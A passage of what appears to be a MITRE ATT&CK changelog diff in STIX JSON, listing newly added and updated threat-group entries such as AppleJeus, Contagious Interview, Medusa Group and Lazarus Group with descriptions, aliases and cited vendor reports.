Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "New DragonOK", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + }, + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "https://lastline3.rssing.com/chan-29044929/all_p1.html#c29044929a2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PlugX", + "Thoper", + "TVT", + "DestroyRAT", + "Sogu", + "Kaba", + "Korplug" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-11 18:28:54.041000+00:00\", \"old_value\": \"2025-04-04 17:15:48.780000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}", + "previous_version": "3.2" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "groups": { + "additions": [ + { + "type": "intrusion-set", + "id": "intrusion-set--14225573-63b5-4e50-ba9a-5fdcaf6a7b4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-25 21:13:24.851000+00:00", + "modified": "2025-10-23 20:42:03.446000+00:00", + "name": "AppleJeus", + "description": "[AppleJeus](https://attack.mitre.org/groups/G1049) is a North Korean state-sponsored threat group attributed to the Reconnaissance General Bureau. Associated with the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella of actors, [AppleJeus](https://attack.mitre.org/groups/G1049) has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella.(Citation: dtex DPRK 2025 structure ITworkers) The group\u2019s primary mission is to generate and launder revenue to provide financial support to the government. [AppleJeus](https://attack.mitre.org/groups/G1049) primarily targets the cryptocurrency industry and is most notably responsible for the [3CX Supply Chain Attack](https://attack.mitre.org/campaigns/C0057).(Citation: Mandiant 3cx UNC4736 2023) The group traditionally deploys malicious cryptocurrency software in combination with [Phishing](https://attack.mitre.org/techniques/T1566). From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)", + "aliases": [ + "AppleJeus", + "Gleaming Pisces", + "Citrine Sleet", + "UNC1720", + "UNC4736" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1049", + "external_id": "G1049" + }, + { + "source_name": "UNC4736", + "description": "(Citation: dtex DPRK 2025 structure ITworkers)(Citation: Mandiant 3cx UNC4736 2023)" + }, + { + "source_name": "UNC1720", + "description": "(Citation: JPCert Blog Laz Subgroups 2025)(Citation: Mandiant DPRK Groups 2023)" + }, + { + "source_name": "Gleaming Pisces", + "description": "(Citation: Unit42 DPRK Threat Groups 2024)" + }, + { + "source_name": "Citrine Sleet", + "description": "(Citation: Unit42 DPRK Threat Groups 2024)" + }, + { + "source_name": "Mandiant 3cx UNC4736 2023", + "description": "Jeff Johnson, Fred Plan, Adrian Sanchez, Renato Fontana, Jake Nicastro, Dimiter Andonov, Marius Fodoreanu, Daniel Scott. (2023, April 20). 3CX Software Supply Chain Compromise Initiated by a Prior Software Supply Chain Compromise; Suspected North Korean Actor Responsible. Retrieved August 25, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise/" + }, + { + "source_name": "dtex DPRK 2025 structure ITworkers", + "description": "Michael \u201cBarni\u201d Barnhart, DTEX, and Anonymous SMEs. (2025, May 14). Exposing DPRK's Cyber Syndicate and Hidden IT Workforce. Retrieved September 3, 2025.", + "url": "https://reports.dtexsystems.com/DTEX-Exposing+DPRK+Cyber+Syndicate+and+Hidden+IT+Workforce.pdf" + }, + { + "source_name": "Mandiant DPRK Groups 2023", + "description": "Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023" + }, + { + "source_name": "Unit42 DPRK Threat Groups 2024", + "description": "Unit 42. (2024, September 9). Threat Assessment: North Korean Threat Groups. Retrieved August 25, 2025.", + "url": "https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/" + }, + { + "source_name": "JPCert Blog Laz Subgroups 2025", + "description": "\u4f50\u3005\u6728\u52c7\u4eba Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus\u2019s Subgroup. Retrieved August 25, 2025.", + "url": "https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Michael \u201cBarni\u201d Barnhart, DTEX", + "Austin Larsen and the Google Threat Intelligence Group" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--46599a4a-77ee-4697-9474-2683b6464859", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-19 17:04:30.994000+00:00", + "modified": "2025-10-24 02:54:55.039000+00:00", + "name": "Contagious Interview", + "description": "[Contagious Interview](https://attack.mitre.org/groups/G1052) is a North Korea\u2013aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. [Contagious Interview](https://attack.mitre.org/groups/G1052) targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities. (Citation: Validin Contagious Interview North Korea ClickFix January 2025)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: Datadog Contagious Interview Tenacious Pungsan October 2024)(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)", + "aliases": [ + "Contagious Interview", + "DeceptiveDevelopment", + "Gwisin Gang", + "Tenacious Pungsan", + "DEV#POPPER", + "PurpleBravo", + "TAG-121" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1052", + "external_id": "G1052" + }, + { + "source_name": "Tenacious Pungsan", + "description": "(Citation: Datadog Contagious Interview Tenacious Pungsan October 2024)" + }, + { + "source_name": "DeceptiveDevelopment", + "description": "(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)" + }, + { + "source_name": "PurpleBravo", + "description": "(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)" + }, + { + "source_name": "TAG-121", + "description": "(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)" + }, + { + "source_name": "DEV#POPPER", + "description": "(Citation: Securonix Contagious Interview DEVPOPPER April 2024)" + }, + { + "source_name": "Gwisin Gang", + "description": "(Citation: Sentinel One Contagious Interview ClickFix September 2025)(Citation: dtex DPRK 2025 structure ITworkers)" + }, + { + "source_name": "Sentinel One Contagious Interview ClickFix September 2025", + "description": "Aleksandar Milenkoski, Sreekar Madabushi, Kenneth Kinion. (2025, September 4). Contagious Interview | North Korean Threat Actors Reveal Plans and Ops by Abusing Cyber Intel Platforms. Retrieved October 20, 2025.", + "url": "https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/" + }, + { + "source_name": "Validin Contagious Interview North Korea ClickFix January 2025", + "description": "Efstratios Lontzetidis. (2025, January 16). Lazarus APT: Techniques for Hunting Contagious Interview. Retrieved October 20, 2025.", + "url": "https://www.validin.com/blog/inoculating_contagious_interview_with_validin/" + }, + { + "source_name": "Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "eSentire Threat Response Unit (TRU). (2024, November 14). Bored BeaverTail & InvisibleFerret Yacht Club \u2013 A Lazarus Lure Pt.2. Retrieved October 17, 2025.", + "url": "https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2" + }, + { + "source_name": "Datadog Contagious Interview Tenacious Pungsan October 2024", + "description": "Ian Kretz, Sebastian Obregoso, Datadog Security Research Team. (2024, October 24). Tenacious Pungsan: A DPRK threat actor linked to Contagious Interview. Retrieved October 20, 2025.", + "url": "https://securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/" + }, + { + "source_name": "Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025", + "description": "Insikt Group. (2025, February 13). Inside the Scam: North Korea\u2019s IT Worker Threat. Retrieved October 17, 2025.", + "url": "https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat" + }, + { + "source_name": "ESET Contagious Interview BeaverTail InvisibleFerret February 2025", + "description": "Matej Havranek. (2025, February 20). DeceptiveDevelopment targets freelance developers. Retrieved October 17, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/" + }, + { + "source_name": "dtex DPRK 2025 structure ITworkers", + "description": "Michael \u201cBarni\u201d Barnhart, DTEX, and Anonymous SMEs. (2025, May 14). Exposing DPRK's Cyber Syndicate and Hidden IT Workforce. Retrieved September 3, 2025.", + "url": "https://reports.dtexsystems.com/DTEX-Exposing+DPRK+Cyber+Syndicate+and+Hidden+IT+Workforce.pdf" + }, + { + "source_name": "Securonix Contagious Interview DEVPOPPER April 2024", + "description": "Securonix Threat Research, D.Iuzvyk, T. Peck, O.Kolesnikov. (2024, April 24). Analysis of DEV#POPPER: New Attack Campaign Targeting Software Developers Likely Associated With North Korean Threat Actors. Retrieved October 20, 2025.", + "url": "https://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-developers-likely-associated-with-north-korean-threat-actors/" + }, + { + "source_name": "Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "Seongsu Park. (2024, November 4). From Pyongyang to Your Payroll: The Rise of North Korean Remote Workers in the West. Retrieved October 17, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west" + }, + { + "source_name": "PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023", + "description": "Unit 42. (2023, November 21). Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors. Retrieved October 17, 2025.", + "url": "https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/" + }, + { + "source_name": "PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024", + "description": "Unit42. (2024, October 9). Contagious Interview: DPRK Threat Actors Lure Tech Industry Job Seekers to Install New Variants of BeaverTail and InvisibleFerret Malware. Retrieved October 17, 2025.", + "url": "https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--918da025-04bd-48af-b6c4-f3e4d1b915eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-15 18:54:55+00:00", + "modified": "2025-10-24 04:01:48.210000+00:00", + "name": "Medusa Group", + "description": "[Medusa Group](https://attack.mitre.org/groups/G1051) has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware\u2019s core developers. Public sources have also referred to the group as \u201cSpearwing\u201d or \u201cMedusa Actors.\u201d (Citation: CISA Medusa Group Medusa Ransomware March 2025) (Citation: Broadcom Medusa Ransomware Medusa Group March 2025) [Medusa Group](https://attack.mitre.org/groups/G1051) employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and threatening to publish stolen information if ransom demands are not met. (Citation: Security Scorecard Medusa Ransomware January 2024) For initial access, [Medusa Group](https://attack.mitre.org/groups/G1051) has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally. (Citation: Intel471 Medusa Ransomware May 2025)", + "aliases": [ + "Medusa Group" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1051", + "external_id": "G1051" + }, + { + "source_name": "CISA Medusa Group Medusa Ransomware March 2025", + "description": "Cybersecurity and Infrastructure Security Agency. (2025, March 12). AA25-071A #StopRansomware: Medusa Ransomware. Retrieved October 15, 2025.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a" + }, + { + "source_name": "Intel471 Medusa Ransomware May 2025", + "description": "Intel471. (2025, May 14). Threat hunting case study: Medusa ransomware. Retrieved October 15, 2025.", + "url": "https://www.intel471.com/blog/threat-hunting-case-study-medusa-ransomware" + }, + { + "source_name": "Broadcom Medusa Ransomware Medusa Group March 2025", + "description": "Threat Hunter Team Symantec and Carbon Black. (2025, March 6). Medusa Ransomware Activity Continues to Increase. Retrieved October 15, 2025.", + "url": "https://www.security.com/threat-intelligence/medusa-ransomware-attacks" + }, + { + "source_name": "Security Scorecard Medusa Ransomware January 2024", + "description": "Vlad Pasca. (2024, January 1). A Deep Dive into Medusa Ransomware. Retrieved October 15, 2025.", + "url": "https://securityscorecard.com/wp-content/uploads/2024/01/deep-dive-into-medusa-ransomware.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--7b404cd0-3ae9-41d4-90c0-023793d35d97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-19 19:08:22.474000+00:00", + "modified": "2025-10-24 02:33:31.401000+00:00", + "name": "Storm-0501", + "description": "[Storm-0501](https://attack.mitre.org/groups/G1053) is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. [Storm-0501](https://attack.mitre.org/groups/G1053) has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, [BlackCat](https://attack.mitre.org/software/S1068), Hunters International, [LockBit 3.0](https://attack.mitre.org/software/S1202), and [Embargo](https://attack.mitre.org/software/S1247) ransomware.(Citation: Avertium Storm-0501 Sabbath Ransomware Arcane January 2022)(Citation: Microsoft Storm-501 Sabbath Ransomware Embargo September 2024)(Citation: Microsoft Storm-0501 Embargo Ransomware August 2025)(Citation: Google Mandiant Storm-0501 Sabbath Ransomware November 2021)", + "aliases": [ + "Storm-0501" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1053", + "external_id": "G1053" + }, + { + "source_name": "Avertium Storm-0501 Sabbath Ransomware Arcane January 2022", + "description": "Avertium. (2022, January 11). An In-Depth Look at Ransomware Gang, Sabbath. Retrieved October 19, 2025.", + "url": "https://www.avertium.com/resources/threat-reports/in-depth-look-at-sabbath-ransomware-gang" + }, + { + "source_name": "Microsoft Storm-501 Sabbath Ransomware Embargo September 2024", + "description": "Microsoft Threat Intelligence. (2024, September 26). Storm-0501: Ransomware attacks expanding to hybrid cloud environments. Retrieved October 19, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/" + }, + { + "source_name": "Microsoft Storm-0501 Embargo Ransomware August 2025", + "description": "Microsoft Threat Intelligence. (2025, August 27). Storm-0501\u2019s evolving techniques lead to cloud-based ransomware. Retrieved October 19, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/" + }, + { + "source_name": "Google Mandiant Storm-0501 Sabbath Ransomware November 2021", + "description": "Tyler McLellan, Brandan Schondorfer. (2021, November 29). Kitten.gif: Meet the Sabbath Ransomware Affiliate Program, Again. Retrieved October 19, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/sabbath-ransomware-affiliate/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--461b8e25-8f4a-4ea2-a4a8-e39df7ce6630", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-29 20:48:42.051000+00:00", + "modified": "2025-10-24 03:55:02.289000+00:00", + "name": "UNC3886", + "description": "[UNC3886](https://attack.mitre.org/groups/G1048) is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. [UNC3886](https://attack.mitre.org/groups/G1048) has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.(Citation: Mandiant Fortinet Zero Day)(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)", + "aliases": [ + "UNC3886" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1048", + "external_id": "G1048" + }, + { + "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023", + "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--be8847e0-9512-45db-895e-f871ab6d3820", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-29 20:01:50.272000+00:00", + "modified": "2025-10-23 21:52:27.774000+00:00", + "name": "Water Galura", + "description": "[Water Galura](https://attack.mitre.org/groups/G1050) are the operators of the [Qilin](https://attack.mitre.org/software/S1242) Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for [Qilin](https://attack.mitre.org/software/S1242) affilates recruited on Russian cybercrime forums. [Water Galura](https://attack.mitre.org/groups/G1050) have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)", + "aliases": [ + "Water Galura", + "GOLD FEATHER" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1050", + "external_id": "G1050" + }, + { + "source_name": "GOLD FEATHER", + "description": "(Citation: BushidoToken Qilin RaaS JUN 2024)" + }, + { + "source_name": "Sophos Qilin MSP APR 2025", + "description": "Bradshaw, A. et al. (2025, April 1). Qilin affiliates spear-phish MSP ScreenConnect admin, targeting customers downstream. Retrieved September 26, 2025.", + "url": "https://news.sophos.com/en-us/2025/04/01/sophos-mdr-tracks-ongoing-campaign-by-qilin-affiliates-targeting-screenconnect/" + }, + { + "source_name": "BushidoToken Qilin RaaS JUN 2024", + "description": "Thomas, W. (2024, June 12). Tracking Adversaries: The Qilin RaaS. Retrieved September 26, 2025.", + "url": "https://blog.bushidotoken.net/2024/06/tracking-adversaries-qilin-raas.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:03.807000+00:00", + "modified": "2025-10-24 01:29:21.748000+00:00", + "name": "Lazarus Group", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\n\nNorth Korea\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \u201cLazarus Group\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\n\n", + "aliases": [ + "Lazarus Group", + "Labyrinth Chollima", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY", + "Diamond Sleet" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0032", + "external_id": "G0032" + }, + { + "source_name": "Labyrinth Chollima", + "description": "(Citation: CrowdStrike Labyrinth Chollima Feb 2022)" + }, + { + "source_name": "Diamond Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ZINC", + "description": "(Citation: Microsoft ZINC disruption Dec 2017)" + }, + { + "source_name": "Lazarus Group", + "description": "(Citation: Novetta Blockbuster)" + }, + { + "source_name": "NICKEL ACADEMY", + "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)" + }, + { + "source_name": "Guardians of Peace", + "description": "(Citation: US-CERT HIDDEN COBRA June 2017)" + }, + { + "source_name": "CrowdStrike Labyrinth Chollima Feb 2022", + "description": "CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022.", + "url": "https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/" + }, + { + "source_name": "Mandiant DPRK Groups 2023", + "description": "Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023" + }, + { + "source_name": "Mandiant DPRK Laz Org Breakdown 2022", + "description": "Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Secureworks NICKEL ACADEMY Dec 2017", + "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" + }, + { + "source_name": "Microsoft ZINC disruption Dec 2017", + "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", + "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" + }, + { + "source_name": "HIDDEN COBRA", + "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)" + }, + { + "source_name": "Treasury North Korean Cyber Groups September 2019", + "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", + "url": "https://home.treasury.gov/news/press-releases/sm774" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + }, + { + "source_name": "JPCert Blog Laz Subgroups 2025", + "description": "\u4f50\u3005\u6728\u52c7\u4eba Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus\u2019s Subgroup. Retrieved August 25, 2025.", + "url": "https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Dragos Threat Intelligence", + "MyungUk Han, ASEC", + "Jun Hirata, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 